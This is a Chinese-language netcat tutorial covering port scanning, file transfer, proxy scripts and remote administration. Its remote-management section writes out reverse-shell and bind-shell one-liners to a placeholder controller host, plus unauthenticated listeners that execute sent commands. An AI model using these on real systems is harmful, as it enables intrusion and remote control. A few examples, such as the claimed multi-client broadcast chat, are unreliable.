linux nc命令 (netcat)

# 1. 连接到远程TCP端口
nc example.com 80
# 连接后可以发送HTTP请求
GET / HTTP/1.0
Host: example.com

# 2. 连接到远程UDP端口
nc -u time.nist.gov 13
# 获取NTP时间

# 3. 监听TCP端口
nc -l 1234
# 在另一个终端连接
nc localhost 1234
# 可以双向通信

# 4. 监听UDP端口
nc -lu 1234
# UDP监听

# 5. 端口扫描
nc -zv example.com 20-100
# 扫描端口20-100
nc -zv example.com 22 80 443
# 扫描特定端口

# 6. 带详细输出的扫描
nc -zvv example.com 22
# 输出：Connection to example.com 22 port [tcp/ssh] succeeded!

# 7. 指定源端口
nc -p 5000 example.com 80
# 从本地5000端口连接

# 8. 指定源地址
nc -s 192.168.1.100 example.com 80
# 从指定IP连接

# 9. 设置连接超时
nc -w 5 example.com 80
# 5秒超时

# 10. 不进行DNS解析
nc -n 8.8.8.8 53
# 直接使用IP，不解析域名

# 11. 强制IPv4/IPv6
nc -4 example.com 80
nc -6 example.com 80

# 12. 保持监听（接受多个连接）
nc -lk 1234
# 可以接受多个客户端连接

# 13. 聊天服务器
# 终端1：启动服务器
nc -l 1234
# 终端2：客户端1
nc localhost 1234
# 终端3：客户端2
nc localhost 1234
# 所有消息都会广播

# 14. 获取HTTP响应头
echo -e "GET / HTTP/1.1\r\nHost: example.com\r\n\r\n" | nc example.com 80
# 或
printf "GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n" | nc example.com 80

# 15. 发送邮件（SMTP测试）
nc smtp.gmail.com 587
HELO test
MAIL FROM: 
RCPT TO: 
DATA
Subject: Test
This is a test email.
.
QUIT

# 16. 数据库连接测试
nc db.example.com 3306
# 查看MySQL banner

# 17. SSL连接
nc --ssl mail.example.com 993
# 或使用openssl
openssl s_client -connect example.com:443

# 18. 代理连接
nc -X 5 -x proxy.example.com:1080 example.com 80
# 通过SOCKS5代理

# 1. 发送文件
# 接收方（终端1）
nc -l 1234 > received_file.txt
# 发送方（终端2）
nc -w 3 receiver_ip 1234 < file_to_send.txt

# 2. 接收文件
# 发送方（终端1）
nc -w 3 receiver_ip 1234 < file.txt
# 接收方（终端2）
nc -l 1234 > received.txt

# 3. 传输目录
# 接收方
nc -l 1234 | tar xzf -
# 发送方
tar czf - /path/to/dir | nc -w 3 receiver_ip 1234

# 4. 压缩传输
# 接收方
nc -l 1234 | gunzip > file.txt
# 发送方
gzip -c file.txt | nc -w 3 receiver_ip 1234

# 5. 加密传输
# 使用openssl加密
# 接收方
nc -l 1234 | openssl enc -d -aes-256-cbc -pass pass:secret > file.txt
# 发送方
openssl enc -aes-256-cbc -pass pass:secret < file.txt | nc -w 3 receiver_ip 1234

# 6. 实时传输（管道）
# 接收方
nc -l 1234 | tee received.txt
# 发送方
cat file.txt | nc -w 3 receiver_ip 1234

# 7. 大文件传输（分块）
# 接收方
nc -l 1234 | split -b 100M - output.part.
# 发送方
cat largefile.iso | nc -w 3 receiver_ip 1234

# 8. 校验传输完整性
# 接收方
nc -l 1234 > file.txt && md5sum file.txt
# 发送方
md5sum file.txt && cat file.txt | nc -w 3 receiver_ip 1234

# 9. 自动接收脚本
#!/bin/bash
# 自动接收文件
PORT=1234
STORAGE_DIR="/data/received"

mkdir -p "$STORAGE_DIR"

while true; do
    # 接收文件名
    FILENAME=$(nc -l $PORT | head -1)

    if [ -n "$FILENAME" ]; then
        echo "接收文件: $FILENAME"
        # 接收文件内容
        nc -l $PORT > "$STORAGE_DIR/$FILENAME"
        echo "文件已保存: $STORAGE_DIR/$FILENAME"
    fi
done

# 10. 目录同步
# 接收方
nc -l 1234 | tar xzf - -C /destination/
# 发送方
tar czf - /source/ | nc -w 3 receiver_ip 1234

# 11. 备份数据库
# 接收方
nc -l 1234 > backup.sql
# 发送方
mysqldump -u user -p database | nc -w 3 receiver_ip 1234

# 12. 磁盘克隆
# 接收方
nc -l 1234 | dd of=/dev/sdb
# 发送方
dd if=/dev/sda | nc -w 3 receiver_ip 1234
# 警告：操作磁盘需要谨慎！

#!/bin/bash
# 文件名：nc-scanner.sh
# 使用nc进行端口扫描

# 颜色定义
RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m' # No Color

# 检查nc是否存在
check_nc() {
    if ! command -v nc &> /dev/null; then
        echo -e "${RED}错误: nc命令未找到${NC}"
        exit 1
    fi
}

# TCP端口扫描
tcp_scan() {
    local host=$1
    local ports=$2
    local timeout=${3:-2}

    echo -e "${BLUE}扫描TCP端口: $host${NC}"

    for port in $ports; do
        # 检查端口范围
        if [[ $port =~ ^([0-9]+)-([0-9]+)$ ]]; then
            start=${BASH_REMATCH[1]}
            end=${BASH_REMATCH[2]}

            for p in $(seq $start $end); do
                scan_port "$host" "$p" "tcp" "$timeout"
            done
        else
            scan_port "$host" "$port" "tcp" "$timeout"
        fi
    done
}

# UDP端口扫描
udp_scan() {
    local host=$1
    local ports=$2
    local timeout=${3:-2}

    echo -e "${BLUE}扫描UDP端口: $host${NC}"

    for port in $ports; do
        scan_port "$host" "$port" "udp" "$timeout"
    done
}

# 扫描单个端口
scan_port() {
    local host=$1
    local port=$2
    local proto=$3
    local timeout=$4

    echo -n "扫描 $proto 端口 $port: "

    if [ "$proto" = "tcp" ]; then
        nc -z -v -w "$timeout" "$host" "$port" 2>&1 | grep -q "succeeded"
    else
        nc -u -z -v -w "$timeout" "$host" "$port" 2>&1 | grep -q "succeeded"
    fi

    if [ $? -eq 0 ]; then
        echo -e "${GREEN}开放${NC}"

        # 尝试获取banner
        get_banner "$host" "$port" "$proto"
    else
        echo -e "${RED}关闭${NC}"
    fi
}

# 获取服务banner
get_banner() {
    local host=$1
    local port=$2
    local proto=$3

    echo -n "  尝试获取banner: "

    if [ "$proto" = "tcp" ]; then
        banner=$(echo -e "\r\n" | timeout 3 nc "$host" "$port" 2>/dev/null | head -5)
    else
        banner=$(echo -e "\r\n" | timeout 3 nc -u "$host" "$port" 2>/dev/null | head -5)
    fi

    if [ -n "$banner" ]; then
        echo -e "${YELLOW}找到${NC}"
        echo "  $banner" | head -3
    else
        echo "无"
    fi
}

# 常用端口扫描
common_ports_scan() {
    local host=$1
    local timeout=${2:-2}

    echo -e "${BLUE}扫描常用端口: $host${NC}"

    # 常见服务端口
    common_ports="21 22 23 25 53 80 110 111 135 139 143 443 445 993 995 1723 3306 3389 5900 8080"

    for port in $common_ports; do
        scan_port "$host" "$port" "tcp" "$timeout"
    done
}

# 快速扫描
quick_scan() {
    local host=$1

    echo -e "${BLUE}快速扫描: $host${NC}"

    # 只扫描最常用的端口
    quick_ports="22 80 443 21 25 53"

    for port in $quick_ports; do
        scan_port "$host" "$port" "tcp" 1
    done
}

# 主菜单
main_menu() {
    while true; do
        clear
        echo -e "${BLUE}=== NC端口扫描器 ===${NC}"
        echo ""
        echo "1. TCP端口扫描"
        echo "2. UDP端口扫描"
        echo "3. 扫描常用端口"
        echo "4. 快速扫描"
        echo "5. 自定义端口范围"
        echo "6. 批量主机扫描"
        echo "0. 退出"
        echo ""

        read -p "请选择操作: " choice

        case $choice in
            1)
                read -p "目标主机/IP: " host
                read -p "端口(如: 80 或 20-100): " ports
                read -p "超时时间(秒，默认2): " timeout
                tcp_scan "$host" "$ports" "${timeout:-2}"
                ;;
            2)
                read -p "目标主机/IP: " host
                read -p "端口(如: 53 或 1-100): " ports
                read -p "超时时间(秒，默认2): " timeout
                udp_scan "$host" "$ports" "${timeout:-2}"
                ;;
            3)
                read -p "目标主机/IP: " host
                read -p "超时时间(秒，默认2): " timeout
                common_ports_scan "$host" "${timeout:-2}"
                ;;
            4)
                read -p "目标主机/IP: " host
                quick_scan "$host"
                ;;
            5)
                read -p "目标主机/IP: " host
                read -p "起始端口: " start
                read -p "结束端口: " end
                tcp_scan "$host" "${start}-${end}" 1
                ;;
            6)
                read -p "主机列表文件: " hostfile
                if [ -f "$hostfile" ]; then
                    while read host; do
                        echo -e "\n${YELLOW}扫描主机: $host${NC}"
                        quick_scan "$host"
                    done < "$hostfile"
                else
                    echo -e "${RED}文件不存在: $hostfile${NC}"
                fi
                ;;
            0)
                echo -e "${GREEN}退出${NC}"
                exit 0
                ;;
            *)
                echo -e "${RED}无效选择${NC}"
                ;;
        esac

        echo ""
        read -p "按回车键继续..."
    done
}

# 检查并运行
check_nc
main_menu

#!/bin/bash
# 文件名：nc-proxy.sh
# 使用nc创建各种网络代理

# 1. 简单的TCP代理/转发
# 将本地8080端口转发到远程主机的80端口
simple_proxy() {
    local listen_port=$1
    local remote_host=$2
    local remote_port=$3

    echo "启动TCP代理: 本地$listen_port -> $remote_host:$remote_port"

    while true; do
        nc -l "$listen_port" -c "nc $remote_host $remote_port"
    done
}

# 2. 带日志的代理
logging_proxy() {
    local listen_port=$1
    local remote_host=$2
    local remote_port=$3
    local log_file="${4:-proxy.log}"

    echo "启动带日志的代理: 本地$listen_port -> $remote_host:$remote_port"
    echo "日志文件: $log_file"

    while true; do
        {
            echo "[$(date '+%Y-%m-%d %H:%M:%S')] 新连接"
            nc -l "$listen_port"
        } | tee -a "$log_file" | nc "$remote_host" "$remote_port" | tee -a "$log_file"
    done
}

# 3. SOCKS代理服务器
socks_proxy() {
    local listen_port=$1
    local auth=${2:-""}  # 用户名:密码

    echo "启动SOCKS代理: 端口 $listen_port"

    if [ -n "$auth" ]; then
        echo "启用认证: $auth"
        # 需要支持SOCKS的nc版本
        nc -l "$listen_port" --proxy-type socks5 --proxy-auth "$auth"
    else
        nc -l "$listen_port" --proxy-type socks5
    fi
}

# 4. HTTP代理
http_proxy() {
    local listen_port=$1

    echo "启动HTTP代理: 端口 $listen_port"

    while true; do
        # 接受HTTP CONNECT请求
        nc -l "$listen_port" -c '
            read -r request
            echo "收到请求: $request"

            # 解析CONNECT请求
            if [[ "$request" =~ ^CONNECT\ ([^:]+):([0-9]+) ]]; then
                remote_host=${BASH_REMATCH[1]}
                remote_port=${BASH_REMATCH[2]}

                echo "连接到: $remote_host:$remote_port"
                echo "HTTP/1.1 200 Connection Established"
                echo ""

                # 转发数据
                nc "$remote_host" "$remote_port"
            else
                echo "HTTP/1.1 400 Bad Request"
                echo ""
            fi
        '
    done
}

# 5. 端口镜像/监控
port_mirror() {
    local listen_port=$1
    local remote_host=$2
    local remote_port=$3
    local mirror_port=$4

    echo "端口镜像: $listen_port -> $remote_host:$remote_port (镜像到:$mirror_port)"

    mkfifo /tmp/nc_pipe

    while true; do
        # 监听客户端连接
        nc -l "$listen_port" < /tmp/nc_pipe | \
            tee >(nc "$remote_host" "$remote_port") | \
            tee >(nc -l "$mirror_port" > /dev/null) > /tmp/nc_pipe
    done

    rm /tmp/nc_pipe
}

# 6. 负载均衡器
load_balancer() {
    local listen_port=$1
    shift
    local backends=("$@")
    local counter=0

    echo "启动负载均衡器: 端口 $listen_port"
    echo "后端服务器: ${backends[*]}"

    while true; do
        # 轮询选择后端
        backend=${backends[$counter]}
        counter=$(( (counter + 1) % ${#backends[@]} ))

        echo "转发到: $backend"
        nc -l "$listen_port" -c "nc $backend"
    done
}

# 7. SSL/TLS终止代理
ssl_termination_proxy() {
    local listen_port=$1
    local remote_host=$2
    local remote_port=$3
    local cert_file=$4
    local key_file=$5

    echo "启动SSL终止代理: $listen_port (SSL) -> $remote_host:$remote_port (明文)"

    # 需要支持SSL的nc版本
    while true; do
        nc -l "$listen_port" --ssl --ssl-cert "$cert_file" --ssl-key "$key_file" -c "nc $remote_host $remote_port"
    done
}

# 8. 反向代理
reverse_proxy() {
    local backend_port=$1
    local frontend_port=$2

    echo "反向代理: 后端$backend_port -> 前端$frontend_port"

    while true; do
        # 后端服务监听
        nc -l "$backend_port" | \
            # 处理请求
            while read -r line; do
                echo "后端收到: $line"
                echo "处理后的响应" | nc -l "$frontend_port"
            done
    done
}

# 9. WebSocket代理
websocket_proxy() {
    local listen_port=$1
    local remote_host=$2
    local remote_port=$3
    local websocket_path=$4

    echo "WebSocket代理: $listen_port -> $remote_host:$remote_port$websocket_path"

    while true; do
        nc -l "$listen_port" -c "
            # 发送WebSocket升级请求
            echo -e 'GET $websocket_path HTTP/1.1\r\nHost: $remote_host\r\nUpgrade: websocket\r\nConnection: Upgrade\r\n\r\n' | \
            nc $remote_host $remote_port
        "
    done
}

# 10. 多路复用代理
multiplexing_proxy() {
    local listen_port=$1
    local remote_host=$2
    local remote_port=$3

    echo "多路复用代理: $listen_port -> $remote_host:$remote_port"

    # 创建命名管道
    mkfifo /tmp/proxy_in
    mkfifo /tmp/proxy_out

    # 后台处理连接
    while true; do
        nc "$remote_host" "$remote_port" < /tmp/proxy_in > /tmp/proxy_out &
        nc_pid=$!

        # 转发数据
        nc -l "$listen_port" -k > /tmp/proxy_in < /tmp/proxy_out

        # 清理
        kill $nc_pid 2>/dev/null
    done

    # 清理管道
    rm /tmp/proxy_in /tmp/proxy_out
}

# 主菜单
main_menu() {
    while true; do
        clear
        echo "=== NC网络代理工具 ==="
        echo ""
        echo "1. 简单TCP代理"
        echo "2. 带日志的代理"
        echo "3. SOCKS代理"
        echo "4. HTTP代理"
        echo "5. 端口镜像"
        echo "6. 负载均衡"
        echo "7. SSL终止代理"
        echo "8. 反向代理"
        echo "9. WebSocket代理"
        echo "10. 多路复用代理"
        echo "0. 退出"
        echo ""

        read -p "请选择代理类型: " choice

        case $choice in
            1)
                read -p "监听端口: " lport
                read -p "远程主机: " rhost
                read -p "远程端口: " rport
                simple_proxy "$lport" "$rhost" "$rport"
                ;;
            2)
                read -p "监听端口: " lport
                read -p "远程主机: " rhost
                read -p "远程端口: " rport
                read -p "日志文件(默认proxy.log): " log
                logging_proxy "$lport" "$rhost" "$rport" "${log:-proxy.log}"
                ;;
            3)
                read -p "监听端口: " lport
                read -p "认证信息(用户名:密码，可选): " auth
                socks_proxy "$lport" "$auth"
                ;;
            4)
                read -p "监听端口: " lport
                http_proxy "$lport"
                ;;
            5)
                read -p "监听端口: " lport
                read -p "远程主机: " rhost
                read -p "远程端口: " rport
                read -p "镜像端口: " mport
                port_mirror "$lport" "$rhost" "$rport" "$mport"
                ;;
            6)
                read -p "监听端口: " lport
                echo "输入后端服务器(格式: 主机:端口)，空行结束:"
                backends=()
                while true; do
                    read -p "后端> " backend
                    [ -z "$backend" ] && break
                    backends+=("$backend")
                done
                load_balancer "$lport" "${backends[@]}"
                ;;
            7)
                read -p "监听端口: " lport
                read -p "远程主机: " rhost
                read -p "远程端口: " rport
                read -p "证书文件: " cert
                read -p "私钥文件: " key
                ssl_termination_proxy "$lport" "$rhost" "$rport" "$cert" "$key"
                ;;
            8)
                read -p "后端端口: " bport
                read -p "前端端口: " fport
                reverse_proxy "$bport" "$fport"
                ;;
            9)
                read -p "监听端口: " lport
                read -p "远程主机: " rhost
                read -p "远程端口: " rport
                read -p "WebSocket路径: " path
                websocket_proxy "$lport" "$rhost" "$rport" "$path"
                ;;
            10)
                read -p "监听端口: " lport
                read -p "远程主机: " rhost
                read -p "远程端口: " rport
                multiplexing_proxy "$lport" "$rhost" "$rport"
                ;;
            0)
                echo "退出"
                exit 0
                ;;
            *)
                echo "无效选择"
                ;;
        esac

        echo ""
        read -p "按回车键返回菜单..."
    done
}

# 运行主菜单
main_menu

# 1. 反向Shell（被控端主动连接）
# 被控端（目标机器）
nc -e /bin/bash controller_ip 4444
# 或使用bash
bash -i >& /dev/tcp/controller_ip/4444 0>&1
# 或使用python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("controller_ip",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

# 控制端（攻击机/管理机）
nc -lvp 4444
# 连接后获得目标机器的shell

# 2. 绑定Shell（在目标机器监听）
# 目标机器（不推荐，易被发现）
nc -lvp 4444 -e /bin/bash
# 控制端连接
nc target_ip 4444

# 3. 加密的远程Shell
# 使用openssl加密通信
# 服务器端
mkfifo /tmp/s; /bin/bash -i < /tmp/s 2>&1 | openssl s_server -quiet -key key.pem -cert cert.pem -port 4444 > /tmp/s; rm /tmp/s
# 客户端
openssl s_client -quiet -connect target_ip:4444

# 4. 通过nc执行单条命令
# 服务器端
while true; do nc -l 4444 -c "/bin/bash"; done
# 客户端
echo "ls -la" | nc target_ip 4444
# 或执行并返回结果
echo "ls -la; pwd; whoami" | nc target_ip 4444

# 5. 文件管理器
#!/bin/bash
# 简单的远程文件管理器
PORT=4444

echo "启动远程文件管理器，端口: $PORT"

while true; do
    nc -l $PORT -c "
        echo '=== 远程文件管理器 ==='
        echo '1. 列出文件'
        echo '2. 查看文件'
        echo '3. 传输文件'
        echo '4. 执行命令'
        echo '5. 退出'
        echo ''
        read -p '选择: ' choice

        case \$choice in
            1) ls -la ;;
            2)
                read -p '文件名: ' fname
                [ -f \"\$fname\" ] && cat \"\$fname\" || echo '文件不存在'
                ;;
            3)
                read -p '操作(send/receive): ' op
                read -p '文件名: ' fname
                if [ \"\$op\" = 'send' ]; then
                    nc -l \$((PORT+1)) > \"\$fname\"
                elif [ \"\$op\" = 'receive' ] && [ -f \"\$fname\" ]; then
                    cat \"\$fname\" | nc -w 3 client_ip \$((PORT+1))
                fi
                ;;
            4)
                read -p '命令: ' cmd
                eval \"\$cmd\"
                ;;
            5) exit 0 ;;
            *) echo '无效选择' ;;
        esac
    "
done

# 6. 系统监控代理
#!/bin/bash
# 系统监控代理
PORT=5555
INTERVAL=5  # 监控间隔（秒）

echo "系统监控代理，端口: $PORT"

while true; do
    nc -l $PORT -c "
        echo '=== 系统状态监控 ==='
        echo '时间: \$(date)'
        echo ''
        echo '--- 系统信息 ---'
        uptime
        echo ''
        echo '--- 内存使用 ---'
        free -h
        echo ''
        echo '--- 磁盘使用 ---'
        df -h
        echo ''
        echo '--- 进程TOP5 ---'
        ps aux --sort=-%cpu | head -6
        echo ''
        echo '--- 网络连接 ---'
        ss -tunap | head -20
        echo ''
        echo '--- 登录用户 ---'
        who
    "
done

# 7. 远程备份
# 备份服务器监听
nc -l 4444 > backup_$(date +%Y%m%d).tar.gz
# 客户端发送备份
tar czf - /important/data | nc -w 3 backup_server 4444

# 8. 日志收集器
# 日志服务器
nc -lk 4444 >> /var/log/central.log
# 客户端发送日志
echo "$(date) - 系统消息" | nc -w 1 log_server 4444
# 或实时发送
tail -f /var/log/syslog | nc -w 0 log_server 4444

# 9. 命令分发系统
#!/bin/bash
# 命令分发服务器
PORT=6666
CLIENTS=()

echo "命令分发系统，端口: $PORT"

# 保存客户端连接
while true; do
    nc -l $PORT -c "
        echo '客户端连接: \$(hostname)'
        CLIENTS+=(\$(hostname))

        while true; do
            echo '可用客户端: \${#CLIENTS[@]}'
            echo '1. 发送命令到所有客户端'
            echo '2. 发送命令到特定客户端'
            echo '3. 列出客户端'
            echo '4. 断开连接'
            read -p '选择: ' cmd

            case \$cmd in
                1)
                    read -p '命令: ' syscmd
                    for client in \"\${CLIENTS[@]}\"; do
                        echo \"在\$client上执行: \$syscmd\"
                        # 这里需要实现到客户端的连接
                    done
                    ;;
                2) echo '功能开发中' ;;
                3)
                    for i in \"\${!CLIENTS[@]}\"; do
                        echo \"\$i: \${CLIENTS[\$i]}\"
                    done
                    ;;
                4) break ;;
                *) echo '无效选择' ;;
            esac
        done
    "
done

# 10. 安全注意事项脚本
#!/bin/bash
# 安全使用nc的检查脚本
echo "=== NC安全检查 ==="
echo ""

# 检查nc版本
NC_PATH=$(which nc 2>/dev/null)
if [ -z "$NC_PATH" ]; then
    echo "✓ nc未安装"
    exit 0
fi

echo "nc路径: $NC_PATH"

# 检查是否支持-e选项
if nc -h 2>&1 | grep -q -- "-e.*program"; then
    echo "⚠ nc支持-e选项（有安全风险）"
    RISK=1
else
    echo "✓ nc不支持-e选项"
fi

# 检查setuid位
if [ -u "$NC_PATH" ]; then
    echo "⚠ nc设置了setuid位（高风险！）"
    RISK=1
fi

# 检查是否任何人都可执行
if [ -o "$NC_PATH" ]; then
    echo "⚠ nc任何人都可执行"
    RISK=1
fi

# 检查监听端口
echo ""
echo "检查nc监听进程:"
ps aux | grep "nc.*-l" | grep -v grep

# 检查网络连接
echo ""
echo "检查nc网络连接:"
netstat -tunap | grep nc

# 建议
echo ""
echo "=== 安全建议 ==="
if [ "$RISK" = "1" ]; then
    echo "1. 考虑卸载支持-e选项的nc版本"
    echo "2. 安装不支持-e选项的nc版本"
    echo "3. 删除nc的setuid位: sudo chmod u-s $NC_PATH"
    echo "4. 限制nc权限: sudo chmod 750 $NC_PATH"
else
    echo "✓ nc配置相对安全"
fi

# 11. 替代方案：使用ssh
# 更安全的远程管理方式
# 安装openssh-server
sudo apt-get install openssh-server
# 生成密钥
ssh-keygen -t rsa
# 复制公钥
ssh-copy-id user@remote_host
# 远程执行命令
ssh user@remote_host "ls -la"
# 远程shell
ssh user@remote_host